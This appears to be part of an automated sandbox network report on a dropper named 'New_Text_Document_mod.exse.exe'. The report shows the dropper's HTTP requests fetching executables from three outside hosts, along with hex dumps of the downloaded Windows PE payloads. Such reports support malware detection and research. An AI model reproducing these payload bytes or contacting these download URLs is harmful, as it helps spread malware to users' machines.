Dec 20, 2023 15:37:20.722543955 CET	1.1.1.1	192.168.2.4	0xbc6b	No error (0)	comediantes.org		162.241.217.120	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.195.16	80	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:34:59.491424084 CET	95	OUT	GET /_errorpages/spfasiazx.exe HTTP/1.1 Host: china.dhabigroup.top Connection: Keep-Alive
Dec 20, 2023 15:34:59.720406055 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:34:59 GMT Content-Type: application/octet-stream Content-Length: 661504 Connection: keep-alive Last-Modified: Wed, 20 Dec 2023 10:51:23 GMT ETag: "a1800-60ceec397c907" Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nBw%2FhE3oPeKGRu1%2FDVIBAMwKJLHUm9qkrH%2BckF8RpoWk1daR54NyAvq1ZIRlg3hWfRb0wdDCYLTipgJvgo4mu40O%2BIjQbJcSpizizaVef6DqPIqJoaxeda2%2BcxGR%2F5GVCHcBN41%2BzQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83889bfa2e42749e-MIA alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 aa c6 82 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 0c 0a 00 00 0a 00 00 00 00 00 00 0e 2a 0a 00 00 20 00 00 00 40 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 0a 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bb 29 0a 00 4f 00 00 00 00 40 0a 00 1c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0a 00 0c 00 00 00 68 12 0a 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 14 0a 0a 00 00 20 00 00 00 0c 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 1c 06 00 00 00 40 0a 00 00 08 00 00 00 0e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 0a 00 00 02 00 00 00 16 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ef 29 0a 00 00 00 00 00 48 00 00 00 02 00 05 00 8c 88 00 00 8c 26 04 00 03 00 00 00 1c 00 00 06 18 af 04 00 50 63 05 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELe0* @@ @)O@`hT H.text `.rsrc@@@.reloc`@B)H&Pc
Dec 20, 2023 15:34:59.720422029 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 02 72 01 00 00 70 73 14 00 00 0a 7d 01 00 00 04 02 14 7d 02 00 00 04 02 28 15 00 00 0a 00 00 02 28 0a 00 00 06 00 2a 13 30 02 00 57 00 00 00 01 00 00 11 Data Ascii: rps}}((0W{orp{sosso&{o{o&(0{{ooo rpo!o"o#
Dec 20, 2023 15:34:59.720442057 CET	1286	IN	Data Raw: 7d 24 00 00 04 02 73 30 00 00 0a 7d 25 00 00 04 02 73 30 00 00 0a 7d 26 00 00 04 02 73 30 00 00 0a 7d 27 00 00 04 02 7b 03 00 00 04 6f 31 00 00 0a 00 02 7b 0a 00 00 04 6f 31 00 00 0a 00 02 7b 0b 00 00 04 6f 32 00 00 0a 00 02 7b 0c 00 00 04 6f 31 Data Ascii: }$s0}%s0}&s0}'{o1{o1{o2{o1{#o1(1{o3G%{%{%{o4{s5o6{rJpo7{ s8o9{o:{rJpo$
Dec 20, 2023 15:34:59.720454931 CET	1286	IN	Data Raw: 00 00 0a 00 02 7b 2c 00 00 04 72 06 01 00 70 6f 4b 00 00 0a 00 02 7b 2c 00 00 04 72 ba 03 00 70 6f 4c 00 00 0a 00 02 7b 2c 00 00 04 72 06 01 00 70 6f 4d 00 00 0a 00 02 7b 2d 00 00 04 72 38 01 00 70 6f 4b 00 00 0a 00 02 7b 2d 00 00 04 72 d6 03 00 Data Ascii: {,rpoK{,rpoL{,rpoM{-r8poK{-rpoL{-r8poM{.r.poK{.rpoL{.r.poM{/r"poK{/rpoL{/r"poM{0rpoK{0rpoL
Dec 20, 2023 15:34:59.720536947 CET	1286	IN	Data Raw: 00 00 0a 6f 39 00 00 0a 00 02 7b 10 00 00 04 1f 20 6f 3a 00 00 0a 00 02 7b 11 00 00 04 20 b0 01 00 00 1f 6a 73 35 00 00 0a 6f 36 00 00 0a 00 02 7b 11 00 00 04 72 d0 04 00 70 6f 37 00 00 0a 00 02 7b 11 00 00 04 20 a9 00 00 00 1f 14 73 38 00 00 0a Data Ascii: o9{ o:{ js5o6{rpo7{ s8o9{o:{ Ps5o6{rpo7{ s8o9{o:{ 6s5o6{rpo7{ s8o9
Dec 20, 2023 15:34:59.720598936 CET	1286	IN	Data Raw: 7b 1f 00 00 04 17 6f 52 00 00 0a 00 02 7b 1f 00 00 04 1f 12 1f 6d 73 35 00 00 0a 6f 36 00 00 0a 00 02 7b 1f 00 00 04 72 00 06 00 70 6f 37 00 00 0a 00 02 7b 1f 00 00 04 1f 20 1f 0d 73 38 00 00 0a 6f 39 00 00 0a 00 02 7b 1f 00 00 04 1f 11 6f 3a 00 Data Ascii: {oR{ms5o6{rpo7{ s8o9{o:{rpo${ oR{ Ss5o6{ rpo7{ Ls8o9{ o:{ rpo${!oR{!9s5o6{!
Dec 20, 2023 15:34:59.720685005 CET	1286	IN	Data Raw: 1b 28 68 00 00 0a 6f 69 00 00 0a 00 06 72 6e 07 00 70 6f 6a 00 00 0a 00 06 02 6f 6b 00 00 0a 17 fe 01 0b 07 2c 09 00 06 6f 6c 00 00 0a 0c 00 2a 13 30 02 00 38 00 00 00 05 00 00 11 00 73 6d 00 00 0a 0a 06 1b 28 68 00 00 0a 6f 69 00 00 0a 00 06 72 Data Ascii: (hoirnpojok,ol08sm(hoirnpojok,ol&(nf{5{Sooopf{6{Tooop(q(q(q(q*0%(r
Dec 20, 2023 15:34:59.720704079 CET	1286	IN	Data Raw: a2 25 1f 0a 02 7b 4a 00 00 04 a2 6f 34 00 00 0a 00 02 7b 43 00 00 04 28 7b 00 00 0a 6f 56 00 00 0a 00 02 7b 43 00 00 04 72 f0 07 00 70 6f 3c 00 00 0a 00 02 7b 43 00 00 04 1f 25 1f 14 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 43 00 00 04 72 02 08 00 Data Ascii: %{Jo4{C({oV{Crpo<{C%s8o={Crpo>{9rpo<{9 s8o={Gr6po<{G s8o={Grfpo>{Gs?o@{:rxpo<{: s8
Dec 20, 2023 15:34:59.720725060 CET	1286	IN	Data Raw: 00 02 7b 57 00 00 04 72 22 0b 00 70 6f 3c 00 00 0a 00 02 7b 57 00 00 04 1f 44 1f 14 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 57 00 00 04 72 3a 0b 00 70 6f 3e 00 00 0a 00 02 7b 58 00 00 04 72 4c 0b 00 70 6f 3c 00 00 0a 00 02 7b 58 00 00 04 20 96 00 Data Ascii: {Wr"po<{WDs8o={Wr:po>{XrLpo<{X s8o={Xrpo>{Xs?o@{Yrpo<{Y s8o={Yrpo>{Ys?o@{Zrpo<{Z
Dec 20, 2023 15:34:59.720797062 CET	1286	IN	Data Raw: 7b 61 00 00 04 18 6f 80 00 00 0a 00 02 7b 61 00 00 04 06 72 f8 0e 00 70 6f 81 00 00 0a 74 6b 00 00 01 6f 82 00 00 0a 00 02 7b 61 00 00 04 28 83 00 00 0a 6f 56 00 00 0a 00 02 7b 61 00 00 04 72 2a 0f 00 70 6f 3c 00 00 0a 00 02 7b 61 00 00 04 1f 17 Data Ascii: {ao{arpotko{a(oV{ar*po<{as8o={arPpo>{as?o@{bo{brXpotko{b(oV{brpo<{bs8o={brp
Dec 20, 2023 15:34:59.720866919 CET	1286	IN	Data Raw: 04 28 83 00 00 0a 6f 56 00 00 0a 00 02 7b 49 00 00 04 72 96 13 00 70 6f 3c 00 00 0a 00 02 7b 49 00 00 04 20 92 00 00 00 1f 16 73 38 00 00 0a 6f 3d 00 00 0a 00 02 7b 49 00 00 04 72 d2 13 00 70 6f 3e 00 00 0a 00 02 7b 4c 00 00 04 06 72 f0 13 00 70 Data Ascii: (oV{Irpo<{I s8o={Irpo>{Lrpotko{L(oV{Lr(po<{L Zo\|{L s8o={LrTpo>{Mr`potko{M(oV{Mr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	185.172.128.19	80	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:01.810089111 CET	74	OUT	GET /build3.exe HTTP/1.1 Host: 185.172.128.19 Connection: Keep-Alive
Dec 20, 2023 15:35:02.111840963 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:35:01 GMT Content-Type: application/octet-stream Content-Length: 428544 Last-Modified: Tue, 19 Dec 2023 16:39:55 GMT Connection: keep-alive ETag: "6581c75b-68a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 77 44 fe d8 33 25 90 8b 33 25 90 8b 33 25 90 8b 68 4d 93 8a 3d 25 90 8b 68 4d 95 8a ad 25 90 8b 68 4d 94 8a 20 25 90 8b e6 48 94 8a 21 25 90 8b e6 48 93 8a 27 25 90 8b e6 48 95 8a 46 25 90 8b 68 4d 91 8a 22 25 90 8b 33 25 91 8b e3 25 90 8b a8 4b 99 8a 32 25 90 8b a8 4b 6f 8b 32 25 90 8b a8 4b 92 8a 32 25 90 8b 52 69 63 68 33 25 90 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ab 20 4d 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ec 04 00 00 ae 01 00 00 00 00 00 d9 d9 01 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 05 06 00 78 00 00 00 00 70 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 06 00 ac 4c 00 00 50 94 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2c 95 05 00 18 00 00 00 88 94 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 ac 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1a ea 04 00 00 10 00 00 00 ec 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 14 01 00 00 00 05 00 00 16 01 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f4 46 00 00 00 20 06 00 00 34 00 00 00 06 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 70 06 00 00 02 00 00 00 3a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 4c 00 00 00 80 06 00 00 4e 00 00 00 3c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$wD3%3%3%hM=%hM%hM %H!%H'%HF%hM"%3%%K2%Ko2%K2%Rich3%PEL Me@@DxpLP8,@.text `.rdata@@.dataF 4@.rsrcp:@@.relocLN<@B
Dec 20, 2023 15:35:02.111886024 CET	1286	IN	Data Raw: 00 00 00 00 00 68 70 c2 44 00 e8 39 c7 01 00 59 c3 cc cc cc cc 68 10 c2 44 00 e8 29 c7 01 00 59 c3 cc cc cc cc 6a 20 68 50 82 45 00 b9 20 2c 46 00 e8 4f 75 01 00 68 d0 c2 44 00 e8 08 c7 01 00 59 c3 cc cc cc 6a 20 68 74 82 45 00 b9 50 32 46 00 e8 Data Ascii: hpD9YhD)Yj hPE ,FOuhDYj htEP2F/uh0DYjhE2FuhDYj hE@-FthDYjhE2FthPDYjhEH+FthDhYjh[E2F
Dec 20, 2023 15:35:02.111957073 CET	1286	IN	Data Raw: 04 68 bc 85 45 00 b9 08 2f 46 00 e8 6f 70 01 00 68 70 d1 44 00 e8 28 c2 01 00 59 c3 cc cc cc 6a 04 68 c4 85 45 00 b9 a0 30 46 00 e8 4f 70 01 00 68 d0 d1 44 00 e8 08 c2 01 00 59 c3 cc cc cc 6a 04 68 cc 85 45 00 b9 b0 2f 46 00 e8 2f 70 01 00 68 30 Data Ascii: hE/FophpD(YjhE0FOphDYjhE/F/ph0DYjhE5FphDYjhEH1FohDYjhE5FohPDYjhE2FohDhYjhE*Foh
Dec 20, 2023 15:35:02.112005949 CET	1286	IN	Data Raw: b9 a8 2e 46 00 e8 6f 6b 01 00 68 70 e0 44 00 e8 28 bd 01 00 59 c3 cc cc cc 6a 08 68 dc 87 45 00 b9 58 30 46 00 e8 4f 6b 01 00 68 d0 e0 44 00 e8 08 bd 01 00 59 c3 cc cc cc 6a 08 68 e8 87 45 00 b9 48 34 46 00 e8 2f 6b 01 00 68 30 e1 44 00 e8 e8 bc Data Ascii: .FokhpD(YjhEX0FOkhDYjhEH4F/kh0DYjhE.FkhDYjhE5FjhDYjhE6FjhPDYjh$E3FjhDhYj@h0E-FjhDH
Dec 20, 2023 15:35:02.112076998 CET	1286	IN	Data Raw: 6f 66 01 00 68 70 ef 44 00 e8 28 b8 01 00 59 c3 cc cc cc 6a 04 68 3c 8c 45 00 b9 38 35 46 00 e8 4f 66 01 00 68 d0 ef 44 00 e8 08 b8 01 00 59 c3 cc cc cc 6a 04 68 44 8c 45 00 b9 70 33 46 00 e8 2f 66 01 00 68 30 f0 44 00 e8 e8 b7 01 00 59 c3 cc cc Data Ascii: ofhpD(Yjh<E85FOfhDYjhDEp3F/fh0DYjhLE+FfhDYjhTEx+FehDYjhhEh2FehPDYjhpE2FehDhYj hE3FehDHY
Dec 20, 2023 15:35:02.112121105 CET	1286	IN	Data Raw: 83 c4 08 8b c6 5e 5d c2 04 00 cc cc cc 8d 41 04 c7 01 84 05 45 00 50 e8 d3 15 03 00 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 49 04 b8 2c 81 45 00 85 c9 0f 45 c1 c3 cc cc 55 8b ec 56 8b f1 8d 46 04 c7 06 84 05 45 00 50 e8 9d 15 03 00 Data Ascii: ^]AEPYI,EEUVFEPEtjV^]WfAA@EdEQYUVuV8^]UVuWVf*V3^]Ujh
Dec 20, 2023 15:35:02.112190962 CET	1286	IN	Data Raw: 10 72 28 8b 4d 98 42 8b c1 81 fa 00 10 00 00 72 10 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 77 43 52 51 e8 17 ae 01 00 83 c4 08 8b 4b 08 8b c7 89 4f 0c 8b 4b 0c c7 07 7c 06 45 00 89 4f 10 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 8b 4d ec 33 cd e8 Data Ascii: r(MBrI#+wCRQKOK\|EOMdY_^M3r][CCUVFEP]EtjV^]UjhhDdPV F3PEdujh[EMuEEEq
Dec 20, 2023 15:35:02.112273932 CET	1286	IN	Data Raw: 4d f4 64 89 0d 00 00 00 00 59 8b 4d f0 33 cd e8 ae a2 01 00 8b e5 5d c3 e8 54 89 01 00 83 c4 04 84 c0 75 05 e8 9f 91 01 00 83 ec 08 8d 45 e8 8b cc 50 e8 5a f6 ff ff e8 a5 f6 ff ff cc cc cc cc cc 56 83 ce ff f0 0f c1 71 04 4e 75 05 8b 11 ff 52 04 Data Ascii: MdYM3]TuEPZVqNuR^tjUEVEtjV^]UEVEFFPEFOF4jPFdFh^]V
Dec 20, 2023 15:35:02.112359047 CET	1286	IN	Data Raw: 46 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b 75 08 89 75 08 c7 45 fc 00 00 00 00 8b ce 8b 06 ff 50 04 8b 06 8b ce 6a 01 ff 10 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b e5 5d c3 cc 55 8b ec f6 45 08 01 56 8b f1 c7 06 b4 93 45 00 74 0b 6a 04 56 e8 de Data Ascii: F3PEduuEPjMdY^]UEVEtjV^]UjhDdP F3EVWPEdW~(fEW}EuPEE~d}WVMu5~d\|WEu!Md
Dec 20, 2023 15:35:02.112420082 CET	1286	IN	Data Raw: cc cc cc cc cc 55 8b ec 6a ff 68 c0 89 44 00 64 a1 00 00 00 00 50 56 a1 14 20 46 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 8b 06 85 c0 75 0b e8 53 7b 01 00 cc e8 70 7f 01 00 8b 46 10 85 c0 74 41 8b 4e 18 2b c8 83 e1 fc 81 f9 00 10 00 00 72 12 Data Ascii: UjhDdPV F3PEduS{pFtAN+rP#+w=QPFFFFP~MdY^]X4UQVAujVMFPUSMW{;
Dec 20, 2023 15:35:02.413436890 CET	1286	IN	Data Raw: 4e 04 33 c0 83 f9 04 0f 94 c0 40 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 8b 75 ec 8b ce e8 38 02 00 00 84 c0 75 24 8d 45 e8 50 e8 6b e7 ff ff 83 c4 04 50 8b ce c6 45 fc 02 e8 2c 00 00 00 8d 4d e8 c6 45 fc 01 e8 20 e7 ff ff 8d 4e 0c Data Ascii: N3@MdY_^[]u8u$EPkPE,ME N<A<5UjhZDdP8SVW F3PEdME33EEE3EE]uE;t1+MVC]WuS!E4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	91.92.253.29	80	7128	C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:35:04.556936979 CET	70	OUT	GET /alex.exe HTTP/1.1 Host: 91.92.253.29 Connection: Keep-Alive
Dec 20, 2023 15:35:04.808190107 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 14:35:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Tue, 19 Dec 2023 06:26:54 GMT ETag: "e8400-60cd6f3e6f9d3" Accept-Ranges: bytes Content-Length: 951296 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 77 50 46 af 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 78 0e 00 00 0a 00 00 00 00 00 00 4a 97 0e 00 00 20 00 00 00 a0 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0e 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f6 96 0e 00 4f 00 00 00 00 a0 0e 00 38 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0e 00 0c 00 00 00 04 80 0e 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 50 77 0e 00 00 20 00 00 00 78 0e 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 38 06 00 00 00 a0 0e 00 00 08 00 00 00 7a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 0e 00 00 02 00 00 00 82 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2a 97 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 5c 5c 00 00 f8 1a 04 00 03 00 00 00 38 00 00 06 54 77 04 00 b0 08 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 2a 00 13 30 02 00 31 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 15 00 00 0a 17 fe 01 0a 06 2c 1e 00 7e 01 00 00 04 6f 16 00 00 0a 00 7e 01 00 00 04 6f 17 00 00 0a 00 14 80 01 00 00 04 00 2a 00 00 00 13 30 03 00 51 00 00 00 02 00 00 11 00 02 7e 01 00 00 04 73 18 00 00 0a 0a 06 02 7e 01 00 00 04 73 19 00 00 0a 6f 1a 00 00 0a 00 06 6f 1b 00 00 0a 7e 01 00 00 04 6f 1c 00 00 0a 00 06 6f 1b 00 00 0a 02 6f 1d 00 00 0a 00 73 1e 00 00 0a 0b 06 07 6f 1f 00 00 0a 26 07 0c 2b 00 08 2a 0a 00 2a 0a 00 2a 00 13 30 01 00 07 00 00 00 01 00 00 11 00 17 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 03 00 00 11 00 72 01 00 00 70 0a 2b 00 06 2a 0a 00 2a 00 00 13 30 01 00 07 00 00 00 01 00 00 11 00 16 0a 2b 00 06 2a 00 13 30 01 00 0b 00 00 00 03 00 00 11 00 72 01 00 00 70 0a 2b 00 06 2a 22 02 28 20 00 00 0a 00 2a 5e 02 14 7d 03 00 00 04 02 28 21 00 00 0a 00 00 02 28 14 00 00 06 00 2a 0a 00 2a 0a 00 2a 00 00 13 30 01 00 0f 00 00 00 04 00 00 11 00 73 15 00 00 06 0a 06 6f 22 00 00 0a 26 2a 26 00 02 28 23 00 00 0a 00 2a 0a 00 2a 0a 00 2a 00 13 30 02 00 2b 00 00 00 01 00 00 11 00 03 2c 0b 02 7b 03 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELwPF0xJ @ @O8p H.textPw x `.rsrc8z@@.reloc@BH\\8Tw01~o,~o~o0Q~s~soo~oooso&+*0+0rp+*0+0rp+"( ^}(!(**0so"&&(#***0+,{
Dec 20, 2023 15:35:04.808221102 CET	1286	IN	Data Raw: 04 14 fe 03 2b 01 16 0a 06 2c 0e 00 02 7b 03 00 00 04 6f 24 00 00 0a 00 00 02 03 28 25 00 00 0a 00 2a 00 13 30 05 00 81 06 00 00 05 00 00 11 00 d0 03 00 00 02 28 26 00 00 0a 73 27 00 00 0a 0a 02 73 28 00 00 0a 7d 04 00 00 04 02 73 28 00 00 0a 7d Data Ascii: +,{o$(%0(&s's(}s(}s(}s(}s(}s(}s(}s(}s(}s(}s(}s(}s(}s(}s)}{o(
Dec 20, 2023 15:35:04.808234930 CET	1286	IN	Data Raw: 6f 2f 00 00 0a 00 02 7b 11 00 00 04 72 ab 02 00 70 6f 30 00 00 0a 00 02 7b 11 00 00 04 02 fe 06 10 00 00 06 73 31 00 00 0a 6f 32 00 00 0a 00 02 7b 12 00 00 04 1f 14 1f 14 73 2e 00 00 0a 6f 33 00 00 0a 00 02 7b 12 00 00 04 6f 34 00 00 0a 1c 8d 46 Data Ascii: o/{rpo0{s1o2{s.o3{o4F%{%{%{%{%{%{o,{s5o6{rpo7{ s.o8{o9{rpo:"A"
Dec 20, 2023 15:35:04.808260918 CET	1286	IN	Data Raw: 00 02 7b 17 00 00 04 1f 66 1f 18 73 35 00 00 0a 6f 36 00 00 0a 00 02 7b 17 00 00 04 18 18 18 18 73 57 00 00 0a 6f 58 00 00 0a 00 02 7b 17 00 00 04 72 25 04 00 70 6f 37 00 00 0a 00 02 7b 17 00 00 04 1f 5c 1f 18 73 2e 00 00 0a 6f 38 00 00 0a 00 02 Data Ascii: {fs5o6{sWoX{r%po7{\s.o8{o9{sZo[{rp",AsUoV{ s5o6{sWoX{rApo7{Js.o8{o9
Dec 20, 2023 15:35:05.051605940 CET	1286	IN	Data Raw: 70 6f 67 00 00 0a 00 02 7b 25 00 00 04 1f 10 6f 69 00 00 0a 00 02 7b 25 00 00 04 72 c3 05 00 70 6f 64 00 00 0a 00 02 7b 25 00 00 04 72 d3 05 00 70 6f 65 00 00 0a 00 02 7b 25 00 00 04 1c 6f 66 00 00 0a 00 02 7b 25 00 00 04 72 c3 05 00 70 6f 67 00 Data Ascii: pog{%oi{%rpod{%rpoe{%of{%rpog{&oi{&rpod{&rpoe{&of{&rpog{'oi{'rpod{'rpoe{'of{'rpog{
Dec 20, 2023 15:35:05.051624060 CET	1286	IN	Data Raw: 00 02 28 41 00 00 0a 02 7b 19 00 00 04 6f 42 00 00 0a 00 02 28 41 00 00 0a 02 7b 15 00 00 04 6f 42 00 00 0a 00 02 18 18 18 18 73 57 00 00 0a 28 6f 00 00 0a 00 02 72 3d 07 00 70 28 37 00 00 0a 00 02 72 57 07 00 70 6f 3a 00 00 0a 00 02 02 fe 06 16 Data Ascii: (A{oB(A{oBsW(or=p(7rWpo:s1(p{oq{oG{oH(G(H}/(!(,{<oI{+"}+{,"},{-"}-{.
